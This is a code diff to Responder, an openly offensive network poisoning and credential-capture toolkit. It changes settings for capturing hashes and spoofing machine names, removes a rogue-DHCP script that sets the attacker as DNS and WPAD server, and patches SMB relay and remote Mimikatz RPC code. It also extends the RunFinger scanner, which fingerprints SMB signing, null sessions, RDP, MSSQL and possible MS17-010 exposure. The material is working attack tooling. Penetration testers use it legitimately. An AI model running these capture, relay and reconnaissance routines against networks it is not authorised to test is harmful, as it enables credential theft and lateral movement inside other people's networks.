self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
||||
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
||||
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
||||
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||
|
||||
self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')]))
|
||||
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||
#add a .local to all provided DontRespondToName
|
||||
self.MDNSTLD = ['.LOCAL']
|
||||
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
|
||||
#Generate Random stuff for one Responder session
|
||||
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
|
||||
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
|
||||
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
|
||||
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
|
||||
self.DomainName = self.Domain + '.LOCAL'
|
||||
self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName
|
||||
self.RPCPort = random.randrange(45000, 49999)
|
||||
# Auto Ignore List
|
||||
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
|
||||
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
|
||||
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
|
||||
self.AutoIgnoreList = []
|
||||
|
||||
# CLI options
|
||||
self.ExternalIP = options.ExternalIP
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
self.NBTNSDomain = options.NBTNSDomain
|
||||
self.Basic = options.Basic
|
||||
self.Finger_On_Off = options.Finger
|
||||
self.Interface = options.Interface
|
||||
self.OURIP = options.OURIP
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
self.Verbose = options.Verbose
|
||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||
self.CommandLine = str(sys.argv)
|
||||
|
||||
if self.ExternalIP:
|
||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||
|
||||
if self.HtmlToInject is None:
|
||||
self.HtmlToInject = ''
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
|
||||
if self.Interface == "ALL":
|
||||
self.Bind_To_ALL = True
|
||||
else:
|
||||
self.Bind_To_ALL = False
|
||||
|
||||
if self.Interface == "ALL":
|
||||
self.IP_aton = socket.inet_aton(self.OURIP)
|
||||
else:
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
|
||||
self.Os_version = sys.platform
|
||||
|
||||
# Set up Challenge
|
||||
self.NumChal = config.get('Responder Core', 'Challenge')
|
||||
if self.NumChal.lower() == 'random':
|
||||
|
@ -239,7 +343,14 @@ class Settings:
|
|||
|
||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||
|
||||
|
||||
# First time Responder run?
|
||||
if os.path.isfile(self.ResponderPATH+'/Responder.db'):
|
||||
pass
|
||||
else:
|
||||
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
|
||||
Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1")
|
||||
|
||||
try:
|
||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||
except:
|
||||
|
@ -249,10 +360,12 @@ class Settings:
|
|||
NetworkCard = "Error fetching Network Interfaces:", ex
|
||||
pass
|
||||
try:
|
||||
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
||||
except subprocess.CalledProcessError as ex:
|
||||
DNS = "Error fetching DNS configuration:", ex
|
||||
pass
|
||||
p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
|
||||
DNS = p.stdout.read()
|
||||
except:
|
||||
p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
|
||||
DNS = p.stdout.read()
|
||||
|
||||
try:
|
||||
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
||||
except:
|
||||
|
@ -262,10 +375,10 @@ class Settings:
|
|||
RoutingInfo = "Error fetching Routing information:", ex
|
||||
pass
|
||||
|
||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
||||
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
||||
try:
|
||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||
#utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||
except AttributeError as ex:
|
||||
print("Missing Module:", ex)
|
||||
pass
|
||||
|
|
|
@ -1,63 +0,0 @@
|
|||
#!/bin/bash
|
||||
# This file is part of Responder. laurent.gaffie@gmail.com
|
||||
#
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# This script will try to auto-detect network parameters
|
||||
# to run the rogue DHCP server, to inject only your IP
|
||||
# address as the primary DNS server and WPAD server and
|
||||
# leave everything else normal.
|
||||
|
||||
if [ -z $1 ]; then
|
||||
echo "usage: $0 <interface>"
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ $EUID -ne 0 ]; then
|
||||
echo "Must be run as root."
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ ! -d "/sys/class/net/$1" ]; then
|
||||
echo "Interface does not exist."
|
||||
exit
|
||||
fi
|
||||
|
||||
INTF=$1
|
||||
PATH="$PATH:/sbin"
|
||||
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
|
||||
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
|
||||
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
|
||||
DNS1=$IPADDR
|
||||
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
|
||||
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
|
||||
WPADSTR="http://$IPADDR/wpad.dat"
|
||||
if [ -z "$DOMAIN" ]; then
|
||||
DOMAIN=" "
|
||||
fi
|
||||
|
||||
echo "Running with parameters:"
|
||||
echo "INTERFACE: $INTF"
|
||||
echo "IP ADDR: $IPADDR"
|
||||
echo "NETMAST: $NETMASK"
|
||||
echo "ROUTER IP: $ROUTER"
|
||||
echo "DNS1 IP: $DNS1"
|
||||
echo "DNS2 IP: $DNS2"
|
||||
echo "WPAD: $WPADSTR"
|
||||
echo ""
|
||||
|
||||
|
||||
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
||||
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
|
@ -29,7 +29,7 @@ import time
|
|||
import random
|
||||
import subprocess
|
||||
from threading import Thread
|
||||
if PY2OR3 is "PY3":
|
||||
if PY2OR3 == "PY3":
|
||||
from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
|
@ -159,13 +159,13 @@ Logs = logging
|
|||
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||
|
||||
def NetworkSendBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return bytes(str(data), 'latin-1')
|
||||
|
||||
def NetworkRecvBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return str(data.decode('latin-1'))
|
||||
|
@ -446,12 +446,12 @@ class SMBRelay(BaseRequestHandler):
|
|||
data = self.request.recv(4096)
|
||||
|
||||
## Make sure it's not a Kerberos auth.
|
||||
if data.find(b'NTLM') is not -1:
|
||||
if data.find(b'NTLM') != -1:
|
||||
## Start with nego protocol + session setup negotiate to our target.
|
||||
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
|
||||
|
||||
## Make sure it's not a Kerberos auth.
|
||||
if data.find(b'NTLM') is not -1:
|
||||
if data.find(b'NTLM') != -1:
|
||||
##Relay all that to our client.
|
||||
if data[8:10] == b'\x73\x00':
|
||||
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
|
||||
|
|
|
@ -66,20 +66,20 @@ class Packet():
|
|||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
return struct.pack(endian, data).decode('latin-1')
|
||||
|
||||
def NetworkSendBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return bytes(str(data), 'latin-1')
|
||||
|
||||
def NetworkRecvBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return str(data.decode('latin-1'))
|
||||
|
@ -636,7 +636,7 @@ def MimiKatzRPC(Command, f, host, data, s):
|
|||
Output = ExtractRPCCommandOutput(data)[12:]
|
||||
while True:
|
||||
dataoffset = dataoffset + buffsize
|
||||
if data[64:66] == b"\x05\x00" and data[67] == b"\x02":##Last DCE/RPC Frag
|
||||
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag
|
||||
LastFragLen = struct.unpack('<h', data[61:63])[0]
|
||||
if LastFragLen < 1024:
|
||||
Output += ExtractRPCCommandOutput(data)
|
||||
|
@ -646,7 +646,7 @@ def MimiKatzRPC(Command, f, host, data, s):
|
|||
Output += ExtractRPCCommandOutput(data)
|
||||
break
|
||||
|
||||
if data[64:66] == b"\x05\x00" and data[67] == b"\x03":##First and Last DCE/RPCFrag
|
||||
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x03":##First and Last DCE/RPCFrag
|
||||
data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', 4096),f, data, s)
|
||||
Output += ExtractRPCCommandOutput(data)
|
||||
break
|
||||
|
|
|
@ -45,7 +45,7 @@ else:
|
|||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
|
|
|
@ -3,7 +3,10 @@ try:
|
|||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
try:
|
||||
from collections import MutableMapping as DictMixin
|
||||
except ImportError:
|
||||
from collections.abc import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
#!/usr/bin/env python
|
||||
#!/usr/bin/env python3
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
|
@ -17,29 +17,36 @@
|
|||
import re,sys,struct
|
||||
import datetime
|
||||
import multiprocessing
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
import os
|
||||
import errno
|
||||
import optparse
|
||||
import sqlite3
|
||||
from RunFingerPackets import *
|
||||
__version__ = "1.2"
|
||||
from odict import OrderedDict
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
__version__ = "1.8"
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||
|
||||
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
||||
#Way better to have grepable output by default...
|
||||
#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
|
||||
parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None)
|
||||
parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2)
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.TARGET is None:
|
||||
if options.TARGET == None and options.Filename == None:
|
||||
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
Timeout = 2
|
||||
Timeout = options.Timeout
|
||||
Host = options.TARGET
|
||||
SMB1 = "Enabled"
|
||||
Filename = options.Filename
|
||||
SMB1 = "True"
|
||||
SMB2signing = "False"
|
||||
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
@ -60,6 +67,13 @@ if (sys.version_info > (3, 0)):
|
|||
else:
|
||||
PY2OR3 = "PY2"
|
||||
|
||||
|
||||
if not os.path.exists(DB):
|
||||
cursor = sqlite3.connect(DB)
|
||||
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)')
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 == "PY2":
|
||||
|
@ -92,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
|
|||
|
||||
def SMB2SigningMandatory(data):
|
||||
global SMB2signing
|
||||
if data[70] == "\x03":
|
||||
if data[70:71] == "\x03":
|
||||
SMB2signing = "True"
|
||||
else:
|
||||
SMB2signing = "False"
|
||||
|
@ -109,13 +123,29 @@ def WorkstationFingerPrint(data):
|
|||
b"\x06\x01" :"Windows 7/Server 2008R2",
|
||||
b"\x06\x02" :"Windows 8/Server 2012",
|
||||
b"\x06\x03" :"Windows 8.1/Server 2012R2",
|
||||
b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)",
|
||||
b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)",
|
||||
}.get(data, 'Other than Microsoft')
|
||||
|
||||
def GetOsBuildNumber(data):
|
||||
ProductBuild = struct.unpack("<h",data)[0]
|
||||
return ProductBuild
|
||||
|
||||
def SaveRunFingerToDb(result):
|
||||
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
cursor = sqlite3.connect(DB)
|
||||
cursor.text_factory = sqlite3.Binary
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
|
||||
data = data.encode('latin-1')
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
|
@ -130,7 +160,22 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
|
|||
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
|
||||
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
|
||||
DomainGrab((host, 445))
|
||||
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, IsRDPOn((host,3389)),SMB1)))
|
||||
RDP = IsServiceOn((host,3389))
|
||||
SQL = IsServiceOn((host,1433))
|
||||
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL)))
|
||||
SaveRunFingerToDb({
|
||||
'Protocol': '[SMB2]',
|
||||
'Host': host,
|
||||
'WindowsVersion': WindowsVers,
|
||||
'OsVer': str(WindowsBuildVers),
|
||||
'DomainJoined': Domain,
|
||||
'Bootime': Bootime,
|
||||
'Signing': signing,
|
||||
'NullSess': 'N/A',
|
||||
'IsRDPOn':RDP,
|
||||
'SMB1': SMB1,
|
||||
'MSSQL': SQL
|
||||
})
|
||||
|
||||
def GetBootTime(data):
|
||||
data = data.encode('latin-1')
|
||||
|
@ -151,15 +196,15 @@ def IsDCVuln(t, host):
|
|||
Date = datetime.datetime(2017, 3, 14, 0, 30)
|
||||
if t[0] < Date:
|
||||
return("This system may be vulnerable to MS17-010")
|
||||
return("Last restart: "+t[1])
|
||||
return(t[1])
|
||||
|
||||
#####################
|
||||
|
||||
def IsSigningEnabled(data):
|
||||
if data[39] == "\x0f":
|
||||
return True
|
||||
if data[39:40] == "\x0f":
|
||||
return 'True'
|
||||
else:
|
||||
return False
|
||||
return 'False'
|
||||
|
||||
def atod(a):
|
||||
return struct.unpack("!L",inet_aton(a))[0]
|
||||
|
@ -169,7 +214,10 @@ def dtoa(d):
|
|||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
|
||||
if PY2OR3 == "PY3":
|
||||
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
|
||||
else:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
if length > 255:
|
||||
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
|
@ -189,14 +237,13 @@ def GetHostnameAndDomainName(data):
|
|||
Hostname = data[113:].decode('latin-1')
|
||||
return Hostname, DomainJoined
|
||||
except:
|
||||
pass
|
||||
return "Could not get Hostname.", "Could not get Domain joined"
|
||||
|
||||
def DomainGrab(Host):
|
||||
global SMB1
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(0.7)
|
||||
s.connect(Host)
|
||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||
n = SMBNegoDataLanMan()
|
||||
|
@ -204,23 +251,23 @@ def DomainGrab(Host):
|
|||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
s.close()
|
||||
if data[8:10] == b'\x72\x00':
|
||||
return GetHostnameAndDomainName(data)
|
||||
except IOError as e:
|
||||
if e.errno == errno.ECONNRESET:
|
||||
SMB1 = "Disabled"
|
||||
SMB1 = "False"
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
||||
def SmbFinger(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
|
@ -245,8 +292,8 @@ def SmbFinger(Host):
|
|||
|
||||
def check_smb_null_session(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(host)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
|
@ -280,9 +327,9 @@ def check_smb_null_session(host):
|
|||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == b'\x75\x00':
|
||||
return True
|
||||
return 'True'
|
||||
else:
|
||||
return False
|
||||
return 'False'
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
@ -290,19 +337,19 @@ def check_smb_null_session(host):
|
|||
#SMB2 part:
|
||||
|
||||
def ConnectAndChoseSMB(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(0.7)
|
||||
s.connect(host)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x00")
|
||||
n = SMBNego(Data = SMB2NegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(4096)
|
||||
except:
|
||||
return None
|
||||
h = SMBHeader(cmd="\x72",flag1="\x00")
|
||||
n = SMBNego(Data = SMB2NegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(4096)
|
||||
return False
|
||||
if ParseNegotiateSMB2Ans(data):
|
||||
try:
|
||||
while True:
|
||||
|
@ -311,12 +358,12 @@ def ConnectAndChoseSMB(host):
|
|||
if not data:
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
||||
def handle(data, host):
|
||||
if data[28] == "\x00":
|
||||
if data[28:29] == "\x00":
|
||||
a = SMBv2Head()
|
||||
a.calculate()
|
||||
b = SMBv2Negotiate()
|
||||
|
@ -325,7 +372,7 @@ def handle(data, host):
|
|||
buffer0 = longueur(packet0)+packet0
|
||||
return buffer0
|
||||
|
||||
if data[28] == "\x01":
|
||||
if data[28:29] == "\x01":
|
||||
global Bootime
|
||||
SMB2SigningMandatory(data)
|
||||
Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0])
|
||||
|
@ -337,71 +384,87 @@ def handle(data, host):
|
|||
buffer0 = longueur(packet0)+packet0
|
||||
return buffer0
|
||||
|
||||
if data[28] == "\x02":
|
||||
if data[28:29] == "\x02":
|
||||
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
|
||||
|
||||
##################
|
||||
#run it
|
||||
def ShowResults(Host):
|
||||
if ConnectAndChoseSMB((Host,445)) == False:
|
||||
try:
|
||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||
NullSess = check_smb_null_session((Host, 445))
|
||||
print(("Retrieving information for %s..."%(Host)))
|
||||
print(("SMB signing: %s"%(Signing)))
|
||||
print(("Null Sessions Allowed: %s"%(NullSess)))
|
||||
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
|
||||
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
|
||||
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
def ShowSmallResults(Host):
|
||||
if ConnectAndChoseSMB((Host,445)) == False:
|
||||
try:
|
||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||
NullSess = check_smb_null_session((Host, 445))
|
||||
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,IsRDPOn((Host,3389)))))
|
||||
RDP = IsServiceOn((Host,3389))
|
||||
SQL = IsServiceOn((Host,1433))
|
||||
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL)))
|
||||
SaveRunFingerToDb({
|
||||
'Protocol': '[SMB1]',
|
||||
'Host': Host,
|
||||
'WindowsVersion':OsVer,
|
||||
'OsVer': OsVer,
|
||||
'DomainJoined':DomainJoined,
|
||||
'Bootime': 'N/A',
|
||||
'Signing': Signing,
|
||||
'NullSess': NullSess,
|
||||
'IsRDPOn':RDP,
|
||||
'SMB1': 'True',
|
||||
'MSSQL': SQL
|
||||
})
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
def IsRDPOn(Host):
|
||||
def IsServiceOn(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
if s:
|
||||
return True
|
||||
return 'True'
|
||||
else:
|
||||
return False
|
||||
return 'False'
|
||||
|
||||
except Exception as err:
|
||||
return False
|
||||
return 'False'
|
||||
|
||||
|
||||
def RunFinger(Host):
|
||||
m = re.search("/", str(Host))
|
||||
if m:
|
||||
net,_,mask = Host.partition('/')
|
||||
mask = int(mask)
|
||||
net = atod(net)
|
||||
threads = []
|
||||
"""
|
||||
if options.grep_output:
|
||||
func = ShowSmallResults
|
||||
else:
|
||||
func = ShowResults
|
||||
"""
|
||||
func = ShowSmallResults
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
p = multiprocessing.Process(target=func, args=((host),))
|
||||
threads.append(p)
|
||||
p.start()
|
||||
else:
|
||||
ShowSmallResults(Host)
|
||||
|
||||
|
||||
if Filename != None:
|
||||
with open(Filename) as fp:
|
||||
Line = fp.read().splitlines()
|
||||
for Ln in Line:
|
||||
m = re.search("/", str(Ln))
|
||||
if m:
|
||||
net,_,mask = Ln.partition('/')
|
||||
mask = int(mask)
|
||||
net = atod(net)
|
||||
threads = []
|
||||
Pool = multiprocessing.Pool(processes=250)
|
||||
func = ShowSmallResults
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
proc = Pool.apply_async(func, ((host),))
|
||||
threads.append(proc)
|
||||
for proc in threads:
|
||||
proc.get()
|
||||
else:
|
||||
ShowSmallResults(Ln)
|
||||
|
||||
if Filename == None:
|
||||
m = re.search("/", str(Host))
|
||||
if m:
|
||||
net,_,mask = Host.partition('/')
|
||||
mask = int(mask)
|
||||
net = atod(net)
|
||||
threads = []
|
||||
Pool = multiprocessing.Pool(processes=250)
|
||||
func = ShowSmallResults
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
proc = Pool.apply_async(func, ((host),))
|
||||
threads.append(proc)
|
||||
for proc in threads:
|
||||
proc.get()
|
||||
else:
|
||||
ShowSmallResults(Host)
|
||||
|
||||
|
||||
RunFinger(Host)
|
||||
|
|
|
